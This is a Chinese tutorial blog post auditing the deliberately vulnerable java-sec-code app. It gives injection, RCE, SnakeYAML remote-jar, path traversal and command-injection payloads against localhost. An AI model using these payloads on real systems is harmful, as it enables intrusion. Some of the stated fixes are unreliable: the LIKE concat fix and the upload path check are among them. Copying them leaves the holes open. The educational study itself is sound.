Java代码审计入门之 java-sec-code 学习

发布于 2022-01-13  2217 次阅读


0x00 写在前面

由于之前学习的时候一些常见漏洞的代码都是学习的PHP,所以这次就借着这个项目来学习一下一些常见web漏洞的java代码是什么样的,所以基本上就是白盒审计了。

0x01 环境搭建

项目地址:java-sec-code

IDEA打开后直接run就行了

后续会用到数据库,需要配置好数据库。

0x02 SQL Inject

jdbc/vuln

访问路径http://localhost:8080/sqli/jdbc/vuln?username=admin

第一个使用的是原生的jdbc,获取请求参数username后,直接将其拼接到SQL语句中,最基础的注入,修复的话就是使用预编译。

Connection con = DriverManager.getConnection(url, user, password);
Statement statement = con.createStatement();
String sql = "select * from users where username = '" + username + "'";
ResultSet rs = statement.executeQuery(sql);
while (rs.next()) {
    String res_name = rs.getString("username");
    String res_pwd = rs.getString("password");
    String info = String.format("%s: %s\n", res_name, res_pwd);
    result.append(info);
    logger.info(info);
}

http://localhost:8080/sqli/jdbc/vuln?username=admin' or 1=1%23即可进行注入。

下面的jdbc/sec中,作者就给出了使用预编译的安全的代码

String sql = "select * from users where username = ?";
PreparedStatement st = con.prepareStatement(sql);
st.setString(1, username);

logger.info(st.toString());  // sql after prepare statement
ResultSet rs = st.executeQuery();

当然,SQL查询中预编译也不是万能的,有的时候参数是不能使用预编译的,比如说likeorder by等,这时候就需要程序员自己对用户输入的参数进行过滤,要视情况而定,不是仅仅使用预编译就万事大吉了,当然在这里预编译是没有问题的。

mybatis/vuln01

访问路径http://localhost:8080/sqli/mybatis/vuln01?username=admin

这里使用的是mybatis来进行SQL查询,获取参数username后使用userMapper.findByUserNameVuln01(username)来进行查询。

来看一下findByUserNameVuln01。MyBatis支持两种参数符号,一种是#,另一种是$。这里的参数获取使用的是${username},而不是#{username},而${username}是直接将参数拼接到了SQL查询语句中,就会造成SQL注入。

@Select("select * from users where username = '${username}'")
List<User> findByUserNameVuln01(@Param("username") String username);

http://localhost:8080/sqli/mybatis/vuln01?username=admin' or 1=1%23即可进行注入。

mybatis/vuln02

访问路径http://localhost:8080/sqli/mybatis/vuln02?username=admin

这里使用的是findByUserNameVuln02(String username);来进行查询,来看一下UserMapper.xml,也就是他的XML映射文件。

<select id="findByUserNameVuln02" parameterType="String" resultMap="User">
    select * from users where username like '%${_parameter}%'
</select>

这里传入未过滤的username后,插入到SQL语句中,就成了:select * from users where username like '%username%'${}直接拼接字符串,而且这里在like的后面不能使用#{}预编译,不然就会产生报错。但是可以使用like concat('%',${username}, '%')就可以避免注入了。

http://localhost:8080/sqli/mybatis/vuln02?username=admin' or '1'='1' %23即可注入

mybatis/orderby/vuln03

访问路径http://localhost:8080/sqli/mybatis/orderby/vuln03?sort=1

这里使用的是findByUserNameVuln03(@Param("order") String order)来进行查询,同样也是去看UserMapper.xml

<select id="findByUserNameVuln03" parameterType="String" resultMap="User">
    select * from users
    <if test="order != null">
        order by ${order} asc
    </if>
</select>

可以看到我们输入的参数在order by之后,也是${order}直接拼接起来了,与like相同,在这也是无法使用预编译,只能使用${}。由于没有过滤就直接拼接,很显然存在注入。

http://localhost:8080/sqli/mybatis/orderby/vuln03?sort=1 and (updatexml(1,concat(0x7e,(select version()),0x7e),1))即可进行报错注入。

修复后的安全代码

mybatis/sec01

@Select("select * from users where username = #{username}")
User findByUserName(@Param("username") String username);

#{usrename}预编译避免了注入的产生。

mybatis/sec02

这里使用的是通过id来查找用户,同时限制了参数类型只能是Integer,只能输入数字,就避免了注入的产生。

public User mybatisSec02(@RequestParam("id") Integer id) {
    return userMapper.findById(id);
}

下面是对应的映射语句,也是使用了#{id}来输入参数,能使用#{}的情况下就尽量不要使用${}来拼接SQL语句。

<select id="findById" resultMap="User">
    select * from users where id = #{id}
</select>

mybatis/sec03

这里的OrderByUsername()直接固定了输出规则,没有给提供提供输入的地方,就更不用说存在注入了。

@GetMapping("/mybatis/sec03")
public User mybatisSec03() {
    return userMapper.OrderByUsername();
}
<select id="OrderByUsername" resultMap="User">
    select * from users order by id asc limit 1
</select>

mybatis/orderby/sec04

同样是order by,相较于mybatis/orderby/vuln03,这里对输入进行了一个过滤,SecurityUtil.sqlFilter(sort)

public List<User> mybatisOrderBySec04(@RequestParam("sort") String sort) {
    return userMapper.findByUserNameVuln03(SecurityUtil.sqlFilter(sort));
}

严格限制用户输入只能包含a-zA-Z0-9_-.字符就能够很好的避免黑客的注入。

private static final Pattern FILTER_PATTERN = Pattern.compile("^[a-zA-Z0-9_/\\.-]+$");

public static String sqlFilter(String sql) {
    if (!FILTER_PATTERN.matcher(sql).matches()) {
        return null;
    }
    return sql;
}

0x03 rce

runtime/exec

访问url为http://localhost:8080/rce/runtime/exec?cmd=whoami

最基础的Runtime.getRuntime().exec(cmd),直接传入命令即可执行。

ProcessBuilder

访问url为http://localhost:8080/rce/ProcessBuilder?cmd=whoami

同样也是直接执行命令,不同的是使用的是ProcessBuilder来执行命令。ProcessBuilder传入参数为列表,第一个参数为可执行命令程序,后面的参数为执行的命令程序的参数。

StringBuilder sb = new StringBuilder();
String[] arrCmd = {"/bin/sh", "-c", cmd};
ProcessBuilder processBuilder = new ProcessBuilder(arrCmd);
Process p = processBuilder.start();

jscmd

访问url为http://localhost:8080/rce/jscmd?jsurl=http://xx.yy/zz.js,传入的参数为一个JavaScript代码的url地址。作者在代码中给出的js代码payload为var a = mainOutput(); function mainOutput() { var x=java.lang.Runtime.getRuntime().exec("open -a Calculator");}

源码如下,使用的是ScriptEngine来对JavaScript代码的调用,最后eval()执行代码。

public void jsEngine(String jsurl) throws Exception{
    // js nashorn javascript ecmascript
    ScriptEngine engine = new ScriptEngineManager().getEngineByName("js");
    Bindings bindings = engine.getBindings(ScriptContext.ENGINE_SCOPE);
    String cmd = String.format("load(\"%s\")", jsurl);
    engine.eval(cmd, bindings);
}

vuln/yarm

访问url为http://localhost:8080/rce/vuln/yarm

利用的是SnakeYAML存在的反序列化漏洞来rce,在解析恶意 yml 内容时会完成指定的动作。

先是触发java.net.URL去拉取远程 HTTP 服务器上的恶意 jar 文件,然后是寻找 jar 文件中实现javax.script.ScriptEngineFactory接口的类并实例化,实例化类时执行恶意代码,造成 RCE 漏洞。

public void yarm(String content) {
    Yaml y = new Yaml();
    y.load(content);
}

payload在https://github.com/artsploit/yaml-payload/blob/master/src/artsploit/AwesomeScriptEngineFactory.java有。

在这修改一下执行的命令。

public AwesomeScriptEngineFactory() {
    try {
        Runtime.getRuntime().exec("whoami");
        Runtime.getRuntime().exec("calc");
    } catch (IOException e) {
        e.printStackTrace();
    }
}

打包一下。

javac src/artsploit/AwesomeScriptEngineFactory.java
jar -cvf yaml-payload.jar -C src/ .

随后将以下内容传递给参数即可。

!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[
    !!java.net.URL ["http://localhost/yaml-payload.jar"]
  ]]
]

groovy

访问url为http://localhost:8080/rce/groovy?content='calc'.execute()

GroovyShell可动态运行groovy语言,也可以用于命令执行,如果用户的输入不加以过滤会导致rce。

public void groovyshell(String content) {
    GroovyShell groovyShell = new GroovyShell();
    groovyShell.evaluate(content);
}

0x04 PathTraversal

path_traversal/vul

第一个访问url为http://localhost:8080/path_traversal/vul?filepath=../../../../../etc/passwd

这里的路由对应的方法是getImage(),看名字是用作图片读取转base64输出的。但是这里没有对输入进行过滤检查,只是简单判断文件存在且不是文件夹,就对其进行读取输出。

public String getImage(String filepath) throws IOException {
    return getImgBase64(filepath);
}

private String getImgBase64(String imgFile) throws IOException {

    logger.info("Working directory: " + System.getProperty("user.dir"));
    logger.info("File path: " + imgFile);

    File f = new File(imgFile);
    if (f.exists() && !f.isDirectory()) {
        byte[] data = Files.readAllBytes(Paths.get(imgFile));
        return new String(Base64.encodeBase64(data));
    } else {
        return "File doesn't exist or is not a file.";
    }
}

path_traversal/sec

对应的修复后的方法如下,调用了SecurityUtil.pathFilter对用户的输入进行检查。

public String getImageSec(String filepath) throws IOException {
    if (SecurityUtil.pathFilter(filepath) == null) {
        logger.info("Illegal file path: " + filepath);
        return "Bad boy. Illegal file path.";
    }
    return getImgBase64(filepath);
}

这里对目录穿越的..进行了过滤,避免了目录穿越。只不过这里一个用作图片读取的api也可以读取项目任意文件倒也可以说是算一个小漏洞。

public static String pathFilter(String filepath) {
    String temp = filepath;

    // use while to sovle multi urlencode
    while (temp.indexOf('%') != -1) {
        try {
            temp = URLDecoder.decode(temp, "utf-8");
        } catch (UnsupportedEncodingException e) {
            logger.info("Unsupported encoding exception: " + filepath);
            return null;
        } catch (Exception e) {
            logger.info(e.toString());
            return null;
        }
    }

    if (temp.contains("..") || temp.charAt(0) == '/') {
        return null;
    }

    return filepath;
}

0x05 SSRF

Java网络请求支持的协议可以在sun.net.www.protocol中找到,有以下几种协议:

file、ftp、http、https、jar、mailto、netdoc

urlConnection/vuln

访问url为http://localhost:8080/ssrf/urlConnection/vuln?url=file:///Java/IDEA_data/java-sec-code/pom.xml

这里调用的是HttpUtils.URLConnection(url)

public String URLConnectionVuln(String url) {
    return HttpUtils.URLConnection(url);
}

URLConnection里又调用了URL.openConnection()来发起请求。

public static String URLConnection(String url) {
    try {
        URL u = new URL(url);
        URLConnection urlConnection = u.openConnection();
        BufferedReader in = new BufferedReader(new InputStreamReader(urlConnection.getInputStream())); //send request
        // BufferedReader in = new BufferedReader(new InputStreamReader(u.openConnection().getInputStream()));
        String inputLine;
        StringBuilder html = new StringBuilder();

        while ((inputLine = in.readLine()) != null) {
            html.append(inputLine);
        }
        in.close();
        return html.toString();
    } catch (Exception e) {
        logger.error(e.getMessage());
        return e.getMessage();
    }
}

这里在URL的构造方法中,利用如下代码来处理我们传入的url,也就是这里的变量spec,通过冒号来判断我们传入的协议,然后通过isValidProtocol(s)来判断协议是否合法,这里只是做了简单的字符判断。

for (i = start ; !aRef && (i < limit) &&
     ((c = spec.charAt(i)) != '/') ; i++) {
    if (c == ':') {

        String s = spec.substring(start, i).toLowerCase();
        if (isValidProtocol(s)) {
            newProtocol = s;
            start = i + 1;
        }
        break;
    }
}

后面通过getURLStreamHandler(protocol)来获取一个URLStreamHandler

if (handler == null &&
    (handler = getURLStreamHandler(protocol)) == null) {
    throw new MalformedURLException("unknown protocol: "+protocol);
}

getURLStreamHandler中会先从之前处理过的哈希表中根据协议查找对应的URLStreamHandler,若是找不到的话,就会调用factory.createURLStreamHandler(protocol)来获取。

回到开始的地方,跟进一下u.openConnection(),这里会调用handler.openConnection(this)。这里就会根据我们之前获取的URLStreamHandler来进行网络连接,若是不对用户传入的url进行过滤限制的话,就会导致ssrf漏洞的产生。

public URLConnection openConnection() throws java.io.IOException {
    return handler.openConnection(this);
}

urlConnection/sec

访问url为http://localhost:8080/ssrf/urlConnection/sec?url=http://baidu.com

这里先是对url调用了SecurityUtil.isHttp()来进行检查,随后又

public String URLConnectionSec(String url) {

    // Decline not http/https protocol
    if (!SecurityUtil.isHttp(url)) {
        return "[-] SSRF check failed";
    }

    try {
        SecurityUtil.startSSRFHook();
        return HttpUtils.URLConnection(url);
    } catch (SSRFException | IOException e) {
        return e.getMessage();
    } finally {
        SecurityUtil.stopSSRFHook();
    }

}

SecurityUtil.isHttp()比较简单,就是判断url是否是以http://https://开头。

public static boolean isHttp(String url) {
    return url.startsWith("http://") || url.startsWith("https://");
}

单纯的ban掉其他协议显然是不够的,还不能够防止对内网进行探测,于是在获取url内容之前,开启了一个hook来对用户行为进行监听,SecurityUtil.startSSRFHook(),就有效防止了ssrf攻击。

openStream

访问url为http://localhost:8080/ssrf/openStream?url=file:///

通过WebUtils.getNameWithoutExtension(url) + "." + WebUtils.getFileExtension(url)来获取下载文件名

然后执行如下代码:

URL u = new URL(url);
inputStream = u.openStream()

来看一下openStream(),也是调用了openConnection(),也会根据传入的协议的不同来进行处理。

public final InputStream openStream() throws java.io.IOException {
    return openConnection().getInputStream();
}

由此可以得知,同样也可以进行ssrf来探测内网以及文件下载。

HttpSyncClients/vuln

访问url为http://localhost:8080/ssrf/HttpSyncClients/vuln?url=http://www.baidu.com

// TODO

0x06 SPEL

spel/vuln

访问url为http://localhost:8080/spel/vuln?expression=T(java.lang.Runtime).getRuntime().exec('calc')

在SPEL表达式中,使用T(java.lang.Class)来表示java.lang.Class类的实例,即如同java代码中直接写类名。此方法一般用来引用常量或静态方法。

当执行的SPEL表达式可控时,我们就可以利用T(java.lang.Class)来实例化java.lang.Runtime对象,从而达到命令执行的目的。

0x07 CommandInject

如果环境是在Windows下,记得将"sh", "-c"修改为"cmd", "/c"

codeinject

访问url为http://localhost:8080/codeinject?filepath=src%26%26ipconfig

获取一个参数filepath,然后通过ProcessBuilder将数组cmdList中的字符串拼接起来执行命令,由于没有对输入filepath进行过滤,原本用作查看目录下文件的一个功能就会被执行恶意命令。

public String codeInject(String filepath) throws IOException {

    String[] cmdList = new String[]{"sh", "-c", "ls -la " + filepath};
    ProcessBuilder builder = new ProcessBuilder(cmdList);
    builder.redirectErrorStream(true);
    Process process = builder.start();
    return WebUtils.convertStreamToString(process.getInputStream());
}

使用&&将我们要执行的命令拼接在参数后面就可以达到命令注入的目的。

codeinject/host

访问url为http://localhost:8080/codeinject/host

这里通过request.getHeader("host")来获取http请求头中的host字段,然后同样拼接到命令中去执行。

public String codeInjectHost(HttpServletRequest request) throws IOException {

    String host = request.getHeader("host");
    logger.info(host);
    String[] cmdList = new String[]{"sh", "-c", "curl " + host};
    ProcessBuilder builder = new ProcessBuilder(cmdList);
    builder.redirectErrorStream(true);
    Process process = builder.start();
    return WebUtils.convertStreamToString(process.getInputStream());
}

在以往http1.0中并没有host字段,但是在http1.1中增加了host字段,并且http协议在本质也是要建立tcp连接,而建立连接的同时必须知道对方的ip和端口,然后才能发送数据。既然已经建立了连接,那host字段到底起着什么样的的作用?

Host头域指定请求资源的Intenet主机和端口号,必须表示请求url的原始服务器或网关的是比如www.test.commail.test.com两个域名IP相同,由同一台服务器支持,服务器可以根据host域,分别提供不同的服务,在客户端看来是两个完全不同的站点。

也就是说请求头中的host字段是可以被人为修改的,通过request.getHeader("host")从请求头直接获取host是不安全的,当我们构造这样的host字段时就会造成命令注入Host: www.baidu.com&&ipconfig

codeinject/sec

这里给出了codeinject的修复版本,利用SecurityUtil.cmdFilter来对传入的参数进行过滤,严格限制用户输入只能包含a-zA-Z0-9_-.字符。

private static final Pattern FILTER_PATTERN = Pattern.compile("^[a-zA-Z0-9_/\\.-]+$");

public static String cmdFilter(String input) {
    if (!FILTER_PATTERN.matcher(input).matches()) {
        return null;
    }
    return input;
}

0x08 FileUpload

any

访问url为http://localhost:8080/file/any

直接对上传的文件保存在了指定路径下,

@PostMapping("/upload")
public String singleFileUpload(@RequestParam("file") MultipartFile file,
                               RedirectAttributes redirectAttributes) {
    if (file.isEmpty()) {
        // 赋值给uploadStatus.html里的动态参数message
        redirectAttributes.addFlashAttribute("message", "Please select a file to upload");
        return "redirect:/file/status";
    }

    try {
        // Get the file and save it somewhere
        byte[] bytes = file.getBytes();
        Path path = Paths.get(UPLOADED_FOLDER + file.getOriginalFilename());
        Files.write(path, bytes);

        redirectAttributes.addFlashAttribute("message",
                                             "You successfully uploaded '" + UPLOADED_FOLDER + file.getOriginalFilename() + "'");

    } catch (IOException e) {
        redirectAttributes.addFlashAttribute("message", "upload failed");
        logger.error(e.toString());
    }

    return "redirect:/file/status";
}

没有任何的后缀名及内容过滤,可以上传任意的恶意文件。

在这里上传目录在/tmp下,同时文件的写入时用的Files.write(path, bytes),这里的path就是保存的路径,由于是保存的目录/tmp直接拼接了文件名,就可以在文件名中利用../来达到目录穿越的目的,从而将任意文件保存在任意目录下。

pic

限制只能上传图片,同时进行了多重验证。

对文件后缀名进行白名单限制,只能为白名单中的图片后缀名。

String[] picSuffixList = {".jpg", ".png", ".jpeg", ".gif", ".bmp", ".ico"};
boolean suffixFlag = false;
for (String white_suffix : picSuffixList) {
    if (Suffix.toLowerCase().equals(white_suffix)) {
        suffixFlag = true;
        break;
    }
}

MIME类型进行了黑名单限制,不过这个可以进行抓包修改绕过。

String[] mimeTypeBlackList = {
    "text/html",
    "text/javascript",
    "application/javascript",
    "application/ecmascript",
    "text/xml",
    "application/xml"
};
for (String blackMimeType : mimeTypeBlackList) {
    // 用contains是为了防止text/html;charset=UTF-8绕过
    if (SecurityUtil.replaceSpecialStr(mimeType).toLowerCase().contains(blackMimeType)) {
        logger.error("[-] Mime type error: " + mimeType);
        deleteFile(filePath);
        return "Upload failed. Illeagl picture.";
    }
}

判断上传的文件是否为图片,通过ImageIO.read对文件进行读取来判断。

private static boolean isImage(File file) throws IOException {
    BufferedImage bi = ImageIO.read(file);
    return bi != null;
}

文件保存的时候路径是通过Paths.get(UPLOADED_FOLDER + multifile.getOriginalFilename())来获取,就避免了路径穿越的实现。

try {
    // Get the file and save it somewhere
    byte[] bytes = multifile.getBytes();
    Path path = Paths.get(UPLOADED_FOLDER + multifile.getOriginalFilename());
    Files.write(path, bytes);
} catch (IOException e) {
    logger.error(e.toString());
    deleteFile(filePath);
    return "Upload failed";
}

参考资料

MyBatis框架中常见的SQL注入

Java安全之SnakeYaml反序列化分析

SSRF in Java

重新认识被人遗忘的HTTP头注入